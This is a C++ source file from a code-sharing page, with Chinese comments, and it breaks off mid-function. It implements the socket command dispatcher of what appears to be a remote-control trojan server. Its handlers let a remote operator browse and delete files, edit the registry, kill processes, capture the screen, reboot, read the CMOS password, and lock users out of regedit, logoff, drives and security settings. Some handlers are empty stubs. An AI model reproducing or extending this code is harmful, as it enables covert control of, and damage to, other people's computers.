📄 commandtable.cpp
字号:
//---------------------------------------------------------------------------
#pragma hdrstop
#include "CommandTable.h"
#include "CNString.h"
#include "CNUtility.h"
#include "Stream.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
TCommandTable CommandTable[] ={
/*===命令=============参数数量==========执行函数==========*/
ctServerVer, 0, Cmd_GetServerVer,
//文件操作
ctGetDriverList, 0, Cmd_GetDriverList,
ctGetPathList, 1, Cmd_GetPathList,
ctGetFileList, 1, Cmd_GetFileList,
ctMKDir, 1, Cmd_MkDir,
ctRdDir, 1, Cmd_RdDir,
ctRenFile, 2, Cmd_RenFile,
ctSearchFile, 2, Cmd_SearchFile,
ctChDir, 1, Cmd_ChDir,
ctDeleteFile, 1, Cmd_DelFile,
ctDeletePathFile, 1, Cmd_DelPathFile,
ctCopyDir, 2, Cmd_CopyDir,
ctMoveFile, 2, Cmd_MoveFile,
ctCopyFile, 2, Cmd_CopyFile,
ctDownLoadFile, 2, Cmd_DownLoadFile,
ctUpLoadFile, 2, Cmd_UpLoadFile,
//注册表操作
ctGetKeyNames, 1, Cmd_GetKeyNames,
ctGetValuesNames, 1, Cmd_GetValuesNames,
ctCreateKey, 2, Cmd_CreateKey,
ctDeleteKey, 1, Cmd_DeleteKey,
ctWriteValue, 3, Cmd_WriteValue,
ctDeleteValue, 2, Cmd_DeleteValue,
ctRenameValue, 3, Cmd_RenameValue,
//窗口管理
ctShowMaxWin, 1, Cmd_ShowMaxWin,
ctShowMinWin, 1, Cmd_ShowMinWin,
ctShowActiveWin, 1, Cmd_ShowActiveWin,
ctShowCloseWin, 2, Cmd_ShowCloseWin,
ctShowHideWin, 1, Cmd_ShowHideWin,
ctEnabledWin, 2, Cmd_EnabledWin,
ctGetWindowsList, 1, Cmd_GetWindowsList,
ctListRunProc, 0, Cmd_ListRunProc,
ctKillProc, 1, Cmd_KillProc,
//系统信息
ctGetNetInfo, 0, Cmd_GetNetInfo,
ctGetCmosPwd, 0, Cmd_GetCmosPwd,
ctGetEvtStrings, 0, Cmd_GetEvtStrings,
ctSetEvtStrings, 2, Cmd_SetEvtStrings,
//系统操作
ctOpenDoc, 1, Cmd_OpenDoc,
ctReboot, 1, Cmd_Reboot,
ctSysInfo, 0, Cmd_SysInfo,
ctSetIPAddress, 3, Cmd_SetIPAddress,
ctSetComputerName, 1, Cmd_SetComputerName,
ctCapScreen, 1, Cmd_CapScreen,
ctMouseEvent, 3, Cmd_MouseEvent,
//系统限制
ctShowDesktop, 1, Cmd_ShowDesktop,
ctSetSysHotKey, 1, Cmd_SetSysHotKey,
ctEnabledRegedit, 1, Cmd_EnabledRegedit,
ctShowShellTray, 1, Cmd_ShowShellTray,
ctSetPowderState, 1, Cmd_SetPowderState,
ctNoMouseRight, 1, Cmd_NoMouseRight,
ctNoLogOff, 1, Cmd_NoLogOff,
ctNoDeletePrinter, 1, Cmd_NoDeletePrinter,
ctNoNetSetup, 1, Cmd_NoNetSetup,
ctNoProfilePage, 1, Cmd_NoProfilePage,
ctNoSecCPL, 1, Cmd_NoSecCPL,
ctNoChangeStartMenu, 1, Cmd_NoChangeStartMenu,
ctNoSetFolders, 1, Cmd_NoSetFolders,
ctNoDispCPL, 1, Cmd_NoDispCPL,
ctHideDrivers, 1, Cmd_HideDrivers,
/*-------------------请不要改变这行的位置-----------------*/
ctUnkown, 0, Cmd_Error //这是最后一行
};
TCommandTable *LookupCommand(TCommandType CommandType)
{
int i;
for( i = 0; CommandTable[i].CommandType != ctUnkown; i++)
{
if(CommandTable[i].CommandType == CommandType) break;
}
return &CommandTable[i];
}
void Cmd_DoCommand(TCommandType CommandType,
VInt32 ParamCount,
char ParamStr[][MAX_PARAM_LENGTH + 1],
VSocket *m_socket)
{
TCommandTable *Command = LookupCommand(CommandType);
if( Command->ParamCount != ParamCount)
{
Cmd_Error(ParamStr,m_socket);
}
else
{
Command->CommandFunc(ParamStr,m_socket);
}
}
void Cmd_Error(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
m_socket->WriteLn(RESULT_FAILT);
}
void Cmd_GetServerVer(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = SVR_VER;
m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
void Cmd_GetDriverList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp;
sTmp = CN_GetDriverList();
m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
void Cmd_GetPathList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sDirList;
sDirList = CN_GetDirList(ParamStr[0]);
m_socket->WriteLn(RESULT_SUCCESS + sDirList);
}
void Cmd_GetFileList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sFileList;
sFileList = CN_GetFileList(ParamStr[0]);
m_socket->WriteLn(RESULT_SUCCESS + sFileList);
}
void Cmd_MkDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if(!CN_DirectoryExists(ParamStr[0]))
{
if( CN_CreateDir(ParamStr[0]))
m_socket->WriteLn(RESULT_SUCCESS);
else
m_socket->WriteLn(RESULT_FAILT);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_RdDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if(!CN_DirectoryExists(ParamStr[0]))
{
if( CN_RemoveDir(ParamStr[0]))
m_socket->WriteLn(RESULT_SUCCESS);
else
m_socket->WriteLn(RESULT_FAILT);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_RenFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( CN_RenameFile(ParamStr[0], ParamStr[1]))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_SearchFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
}
void Cmd_ChDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if(SetCurrentDirectory(ParamStr[0]))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_DelFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp, S,Path;
TCNString CanNotDelFile = "";
int iPos;
Path = ParamStr[0];
S = ParamStr[1];
//*******删除的文件列表格式为 File1,File2,File3,....
do{
iPos = S.Pos(',');
if( iPos > 0)
sTmp = S.SubString(0,iPos); // copy item to tmp string
else
sTmp = S;
sTmp = sTmp.Trim();
if( sTmp != "") CanNotDelFile = CN_DeleteFile(Path + sTmp) + ",";
if( iPos == 0) break;
S = S.SubString(iPos + 1,S.Length() -1); // delete item from string
S = S.Trim();
}while(S.Length() != 0);
if( CanNotDelFile != "")
{
m_socket->WriteLn(RESULT_FAILT + CanNotDelFile);
}
else
{
m_socket->WriteLn(RESULT_SUCCESS);
}
}
void Cmd_DelPathFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
CN_DelAllFileInPath(ParamStr[0]);
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_CopyDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag = ParamStr[2];
if( Flag == "MOVE")
{
CN_CopyDirTo(ParamStr[0],ParamStr[1],TRUE);
}
else
if( Flag == "COPY")
{
CN_CopyDirTo(ParamStr[0],ParamStr[1],FALSE);
}
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_MoveFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( MoveFile(ParamStr[0],ParamStr[1]))//, MOVEFILE_REPLACE_EXISTING))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_CopyFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( CopyFile(ParamStr[0],ParamStr[1],FALSE))//, MOVEFILE_REPLACE_EXISTING))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_DownLoadFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
}
void Cmd_UpLoadFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Path,FileName;
TCNFileStream *FileStream;
Path = ParamStr[0];
FileName = ParamStr[1];
CN_AdjustPath(Path);
if( !CN_FileExists(Path + FileName))
{
m_socket->WriteLn(RESULT_FAILT);
return;
}
try{
FileStream = new TCNFileStream(Path + FileName,cfmCreate);
}
__finally{
delete FileStream; // 释放资源
}
}
/*****************************注册表操作*****************/
void Cmd_GetKeyNames(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString KeyNames;
KeyNames = CN_GetKeyNameList(ParamStr[0]);
m_socket->WriteLn(RESULT_SUCCESS + KeyNames);
}
void Cmd_GetValuesNames(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString ValueNames;
ValueNames = CN_GetValueNameList(ParamStr[0]);
m_socket->WriteLn(RESULT_SUCCESS + ValueNames);
}
void Cmd_CreateKey(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( CN_CreateMasterKey(ParamStr[0],ParamStr[1]))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_DeleteKey(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( CN_DeleteMasterKey(ParamStr[0]))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_WriteValue(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( CN_WriteValue(ParamStr[0],ParamStr[1],ParamStr[2]))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_DeleteValue(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( CN_DeleteValue(ParamStr[0],ParamStr[1]))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_RenameValue(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( CN_RenameValue(ParamStr[0],ParamStr[1],ParamStr[2]))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_ShowMaxWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = ParamStr[0];
if( CN_ShowMaxWindow(sTmp.ToInt()))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_ShowMinWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = ParamStr[0];
if( CN_ShowMinWindow(sTmp.ToInt()))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_ShowActiveWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = ParamStr[0];
if( CN_ShowActiveWindow(sTmp.ToInt()))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_ShowCloseWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = ParamStr[0];
TCNString Flag = ParamStr[1];
if( CN_CloseWindow(sTmp.ToInt(),Flag.ToInt()))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -